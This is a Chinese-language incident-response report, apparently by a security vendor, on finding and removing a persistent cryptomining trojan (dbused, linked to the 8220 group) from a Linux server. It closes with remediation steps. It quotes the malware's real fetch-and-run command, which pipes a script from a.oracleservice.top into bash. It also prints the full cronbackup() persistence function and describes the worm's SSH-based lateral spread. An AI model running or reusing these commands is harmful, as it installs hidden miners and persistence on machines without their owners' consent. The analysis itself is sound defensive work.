一、概述

本文主要是記錄了一次針對挖礦程式的應急響應處理，從三個部分來解讀此次事件：

1、事件描述部分，確認是否有挖礦程式。

2、現場分析部分，講了是如何一步一步殺掉挖礦程式。

3、程式分析部分，針對挖礦指令碼的詳細解讀。殺死競爭挖礦程式、程式守護、傳播挖礦。

二、疑惑的使用者

前幾天接到客戶反映，他們有一臺伺服器資產存在異常現象，原本配置的crontab定時任務全被修改，使用者重新對crontab進行配置，無法起到效果，瞬間就會被自動清空掉。定時任務的異常行為導致原本很多的正常業務無法正常執行，同時還發現存在可疑程式，希望能協助進行問題分析，並儘快進行處置。

三、受打擊的研究員

研究人員首先分析crontab的問題，使用crontab -l檢視定時任務，發現只存在一個可疑的任務程式，如下圖所示。

圖1 定時命令1

從命令看起來是為了獲取http://a.oracleservice.top地址的一個xms檔案，這個可疑的域名看起來利用了oracleservice來迷惑使用者。透過聚銘產品情報雲查，發現這個域名有很大問題。分別存在：8220miner組織、miner木馬病毒、xms、失陷下載的標籤。

圖2 聚銘情報雲查結構

與客戶確認該定時任務是可疑的之後，又用top檢視了系統資源，發現了一個程式名稱為“dbused”的可疑程式，長時間的cpu資源佔用達到了100以上。

利用可疑的程式PID，從/proc/[PID]目錄下的’exe’檔案定位到原始檔來自於/tmp目錄下的dbused。

將可疑檔案扔到VT進行檢測，發現極可能與“CoinMiner”挖礦木馬相關。

圖3 VT檢測結果

看來這次攻擊八九不離十就是挖礦木馬相關的攻擊了，定時程式應該就是用來下載挖礦程式的，只要先把定時程式刪除，再刪除惡意程式就行了，於是一一刪除之，應該就可以交代了。

想法很美好，現實卻很殘忍。幾秒後，發現惡意程式和定時任務全部恢復了，一朝回到解放前，看來是把問題想得太簡單了。

四、研究員的反擊

研究員開始痛定思痛，其實在第一次分析的時候還忽略了幾個關鍵的線索：

• 使用者反映crontab會被自動重新整理（說明存在維持程式）

• 未檢視系統可疑程式

• 未分析下載的內容

於是乎，ps -ef檢視系統程式，發現存在五個以上的惡意下載程式，和之前發現的定時任務一模一樣，確實存在多個維持程式。

curl -fsSL http://a.oracleservice.top/xms||wget -q -O- http://a.oracleservice.top/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://a.oracleservice.top/xms").read()')| bash -sh; lwp-download http://a.oracleservice.top/xms /xms; bash /xms; /xms; rm -rf /xms

圖4 檢視程式

突破口都指向下載的可疑檔案，下載進行分析，分析發現是一個結合資源準備、同類競爭、程式維持、橫向擴散、痕跡清除的指令碼。

圖5 下載可疑檔案

Step1：最大化這個程式的使用資源

圖6 準備工作

1.指令碼先將系統的selinux防火牆設定為關閉。

2.指令碼將使用者最大可用的程式數調整到5萬，便於最大化佔用主機資源。

3.修改記憶體引數，目的也是最大化佔用主機資源。

Step2：刪除競爭程式

圖7 殺死競爭程式

這裡目的是為了關閉一些程式，這裡的關閉程式的行為，目的是為了殺掉其他的一些挖礦程式，只允許自己的程式挖礦。

檢視列出殺死的連線IP情報，基本都是與挖礦或木馬相關。

圖8 競爭程式的連線IP1

圖9 競爭程式的連線IP2

圖10 競爭程式的連線IP3

Step3：刪除檔案的特殊屬性使得檔案可以被修改操作

圖11 chattr修改檔案屬性

chattr命令mod解釋

i：即Immutable，系統不允許對這個檔案進行任何的修改。如果目錄具有這個屬性，那麼任何的程式只能修改目錄之下的檔案，不允許建立和刪除檔案。

a:即Append Only，系統只允許在這個檔案之後追加資料，不允許任何程式覆蓋或截斷這個檔案。如果目錄具有這個屬性，系統將只允許在這個目錄下建立和修改檔案，而不允許刪除任何檔案。

最後將定時任務，進行了類似鎖定操作。

Step4：確保連通性

先解除/tmp/dbused目錄下面的鎖定。

確定本機ip地址的範圍（16位掩碼）。

確保主機能與惡意負載域名pool.supportxmr.com、a.oracleservice.top連通。

圖12 確保連通性

Step5：建立定時任務

圖13 建立定時任務

一共建立了5個cron維持程式。

• /etc/cron.d/root

• /etc/cron.d/apache

• /etc/cron.d/nginx

• /var/spool/cron/crontabs

• /etc/cron.hourly/oanacroner1

圖14 /etc/cron.d下的定時任務

圖15 防止檔案被修改

Step6：維持程式1

即確保dbused這個檔案能正常執行。寫了幾個備用的函式，judge函式就是，如果dbused檔案正常執行了，那麼就會存在三個連線，如果沒有正常執行，那麼就重新執行一下dbused檔案。

圖16 judge函式

圖17  judge函式2

Step7：維持程式2

cronbackup()函式為了確保定時任務的正常執行，一旦其中一個定時任務被刪除，就會執行另一個定時任務。

cronbackup() {  pay="(curl -fsSL $url/xms||wget -q -O-   $url/xms||python -c 'import urllib2 as fbi;print   fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms   $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR"  status=0  crona=$(systemctl is-active cron)  cronb=$(systemctl is-active crond)  cronatd=$(systemctl is-active atd)  if [ "$crona" ==   "active" ] ; then  echo "cron okay"  elif [ "$cronb" ==   "active" ]; then  echo "cron okay"  elif [ "$cronatd" ==   "active" ] ; then  status=1  else  status=2  fi  if [ $status -eq 1 ] ; then  for a in $(at -l|awk '{print $1}'); do at -r   $a; done  echo "$pay" | at -m now + 1 minute  fi  if [ $status -eq 2 ] || [ "$me" !=   "root" ] ;then   arr[0]="/dev/shm"   arr[1]="/tmp"   arr[2]="/var/tmp"   arr[3]="/home/$(whoami)"   arr[4]="/run/user/$(echo $UID)"   arr[5]="/run/user/$(echo   $UID)/systemd"   rand=$[$RANDOM % ${#arr[@]}]  echo "Setting up custom backup"  ps auxf|grep -v grep|grep "cruner"   | awk '{print $2}'|xargs kill -9  key="while true; do sleep 60 &&   $pay; done"  echo -e "$key\n##" >   ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner  nohup ${arr[$rand]}/cruner >/dev/null   2>&1 &  sleep 15  rm -rf ${arr[$rand]}/cruner  fi  }

Step8：橫向傳播

從系統檔案中獲取ssh連線過的IP地址和連線的金鑰，再透過遍歷嘗試ssh連線到別的主機並執行惡意命令。也就是說主機登入過其他主機的話，那麼其他主機也會被注入，細思極恐。

ssh連線用到的幾個配置

• -oStrictHostKeyChecking=no （關閉SSH公鑰檢查，這是ssh一個重要的安全機制，可以防範中間人劫持等駭客攻擊。）

• -oBatchMode=yes（當 key 認證不成功時，不彈出告警防止自動化中斷）

• -oConnectTimeout=5（超時限制）

• -i（使用金鑰檔案登入）

圖18 橫向傳播

圖19 被獲取的部分金鑰檔案

圖20 可能被感染的其它主機

Step9：痕跡清除

對執行過程中遺留的檔案進行清除，減小被發現的風險。

圖21 清除痕跡

瞭解清楚這個惡意指令碼後，便開始對該惡意程式進行處置：

1.  先‘service crond status’關閉cron服務。

2.  對所有cron定時檔案進行清除。

3.  殺死所有惡意程式。

4.  刪除所有下載的相關惡意檔案。

5.  啟動selinux。

6.  修改本機和可能被感染主機的ssh密碼。

7.  對可能感染的主機進行檢查。

採取了以上的操作之後，挖礦程式終於不再“復活”了，crontab也恢復正常使用。

參考文章：

《linux檔案特殊屬性 lsattr,chattr詳解》https://blog.csdn.net/sugarCYF/article/details/108034987

《SSH互動式指令碼StrictHostKeyChecking選項》https://chuxing.blog.csdn.net/article/details/82425279